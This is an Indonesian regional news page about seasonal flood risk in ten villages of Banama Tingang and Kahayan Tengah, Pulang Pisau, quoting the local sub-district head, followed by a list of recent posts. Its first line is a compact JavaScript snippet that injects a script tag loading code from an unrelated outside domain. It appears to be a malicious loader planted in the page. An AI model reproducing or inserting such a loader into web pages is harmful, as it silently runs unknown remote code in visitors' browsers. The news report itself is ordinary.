(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Pulang Pisau

Memasuki Musim, Hujan Warga Dua Kecamatan Terancam Banjir


PULANG PISAU,  Tingginya curah hujan dalam beberapa hari terakhir sepertinya harus membuat warga dari beberapa desa di Kecamatan Banama Tingang dan Kecamatan Kahayan Tengah, Pulang Pisau, untuk waspada. Pasalnya, bila musim hujan turun dengan intensitas tinggi, banjir kerap menghampiri  di dua lokasi.

Camat Banama Tingang Sem Bodoi mengatakan, Nopember hingga Januari seringkali menjadi waktu waspada bagi masyarakat Banama Tingang. Sebab di musim hujan pada bulan-bulan tersebut akan menenggelamkan sebagian kawasan daerah disana. Bahkan melihat riwayat banjir tahun 2016 dan 2017 lalu, menurut Seim tahun ini potensi ketinggian debit air akan lebih naik.

“Dari 15 desa, ada 10 desa di daerah Banama Tingang yang memang menjadi langganan banjir setiap tahunnya, mulai dari Desa Tangkahen,  Desa Pandawei ,  Desa Tumbang Tarusan , Desa Bawan , Desa Goha ,  Desa Pahawan , Desa Tambak , Desa Ramang , Desa Hanua,  Desa Lawang Uru. Karena begitu tingginya curah hujan dan air sungai yang meluap, debit air akan menutupi pemukiman dan jalan-jalan umum yang patut diwaspadai,” terang Sem.

Meski selalu menjadi langganan banjir, menurutnya selama ini tidak ada usulan atau permintaan dari warganya juga untuk minta mengungsi. Masalah banjir yang melanda kawasan hulu Pulang Pisau tersebut seperti menjadi kebiasaan yang kerap dimaklumi warga Banama Tingang. Bahkan untuk mengantisipasi ancaman banjir, menurut Sem tidak mungkin bisa sebab kawasan pemukiman disana sangat rendah dan dekat dengan sungai.

“Makanya banyak warga di Banama Tingang yang membuat pondasi rumahnya dengan sistem rumah panggung. Salah satunya untuk mengantisipasi ancaman banjir, meski begitu kami tetap mengingatkan pada masyarakat untuk bisa mempersiapkan semuanya. Mulai dari ancaman kesehatan, kemudian pola berkebun juga agar bisa disesuaikan dengan alam dan terpenting adalah tetap berkoordinasi dengan dinas-dinas terkait,” terangnya. (Sjy)

Reporter: Sjy
Editor: Chell

Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

5 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

8 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

8 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

10 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

12 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

13 jam ago

This website uses cookies.